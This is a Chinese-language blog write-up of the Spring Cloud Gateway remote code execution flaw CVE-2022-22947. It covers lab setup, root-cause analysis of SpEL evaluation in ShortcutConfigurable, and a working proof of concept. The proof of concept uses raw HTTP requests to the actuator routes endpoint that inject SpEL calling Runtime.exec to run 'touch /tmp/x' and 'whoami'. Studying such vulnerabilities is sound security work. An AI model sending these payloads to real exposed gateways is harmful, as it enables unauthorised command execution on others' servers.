Spring Cloud Gateway RCE (CVE-2022-22947)简析

Spring Cloud Gateway RCE

CVE-2022-22947

spring cloud gateway简介

客户端向Spring Cloud GateWay发出请求,然后在GateWay Handler Mapping中找到与请求相匹配的路由,将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(pre)或者之后(post)执行业务逻辑,参考自这篇。Filter在“pre”类型过滤器中可以做参数校验、权限校验、流量监控、日志输出、协议转换等,在“post”类型的过滤器中可以做响应内容、响应头的修改、日志的输出、流量监控等。

漏洞描述

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。

利用条件

  • Spring Cloud Gateway 3.1.0之前

典型的是Spring Cloud Gateway 3.0.0 to 3.0.6

  • 当 Gateway Actuator 打开时

环境搭建

  • 使用vulhub搭建漏洞环境

切换到/vulhub/spring/CVE-2022-22947目录

使用docker-compose up -d 即可搭建漏洞环境

docker run -d -P vulfocus/spring_cve_2022_22947

直接访问网站根目录可以看到example.com页面,说明环境搭建成功。

可惜我失败了

  • 源码搭建

直接找到一手作者的文章CVE-2022-22947:SpEL Casting 和 Evil Beans – Wya.pl

有个项目wdahlenburg/spring-gateway-demo: Sample Spring application to Demonstrate the Gateway Actuator (github.com)

下载后idea打开,修改pom.xml,(其实就是按照链接的jar包的pom.xml进行修改)

        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-gateway-core</artifactId>
            <version>2.2.10.RELEASE</version>
        </dependency>

然后idea会自动搭环境,吹一会水的时间就可以点击运行了,开心

当然直接java -jar 他给的jar包 也可以

利用流程

如果你用的是p神的vulhub

发送恶意的spel表达式的路由

访问reflash路由

此时进入到docker容器里面看,已经创建成功

poc

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/x\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

使用spel表达式新建一个路由

image-20220606180831481

使用refresh刷新一下

image-20220606182010543

之后/tmp目录下应该会新建文件

image-20220607094814798

可能由于本地不是linux环境,也没有touch命令,所以后端reflesh的时候报错了

以下是其他的payload(可以成功)

查看路由信息

image-20220606181726836

查看所有路由

image-20220606181805294

新增spel表达式的路由

image-20220606181921818

POST /actuator/gateway/routes/test3 HTTP/1.1
Host: 127.0.0.1:9000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 429

{
    "id": "test3",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

之后refresh,

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4

test

再次get访问路由

image-20220607101955970

payload特征

post中有spel表达式,访问路由等操作

漏洞分析

拿到demo进行分析

wdahlenburg/spring-gateway-demo: Sample Spring application to Demonstrate the Gateway Actuator (github.com)

进入

org.springframework.cloud.gateway.support.ShortcutConfigurable

的getValue函数

image-20220606185939419

可以看到是支持spel表达式的

所以说 StandardEvaluationContext 允许调用或调用任何有效的表达式。

继续追溯,查看实现接口的方法

共八个实现了ShortConfigurable接口,与gateway相关的是前两项,进一步分析。

找到GatewayFilterFactory

image-20220606190730436

查看图

image-20220606190958240

GatewayFilterFactory可以转到实现AbstractGatewayFilterFactory

AbstractGatewayFilterFactory可以转到实现AbstractChangeRequestUriGatewayFilterFactory

看一眼图,理一下思路

image-20220606192459483

AddResponseHeaderGatewayFilterFactory继承了AbstractNameValueGatewayFilterFactory

如图

image-20220606192553164

AddResponseHeaderGatewayFilterFactory中定义了一个apply方法、其gateway()是怎么来的

image-20220606193047649

参数传入了NameValueConfig、翻看NameValueConfig类、定义了getValue()方法,通过层层继类父承、端口实现、此时getValue()的返回值就是传入的SPEL表达式的值。

image-20220606193201367

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇